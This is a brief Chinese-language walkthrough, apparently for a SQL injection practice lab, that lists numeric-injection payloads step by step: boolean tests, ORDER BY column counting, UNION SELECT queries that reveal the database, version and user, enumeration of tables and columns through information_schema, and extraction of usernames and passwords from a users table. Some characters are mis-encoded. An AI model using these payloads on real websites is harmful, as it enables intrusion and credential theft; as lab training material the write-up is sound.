解題思路與第一題相同

?id=1 and 1=1?和?id=1 and 1=2進行測試如果1=1頁面顯示正常和原頁面一樣，并且1=2頁面報錯或者頁面部分數(shù)據(jù)顯示不正常，那么可以確定此處為數(shù)字型注入。

聯(lián)合查詢：

猜解列名數(shù)量：3

?id=1 order by 4

判斷回顯點

?id=-1 union select 1,2,3

爆庫、版本號、權(quán)限

?id=-1 union select 1,database(),version()--+

?id=-1 union select 1,2，user()--+

爆表、爆列

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

爆賬號密碼

?id=-1 union select 1,2,(select group_concat(username,password))from users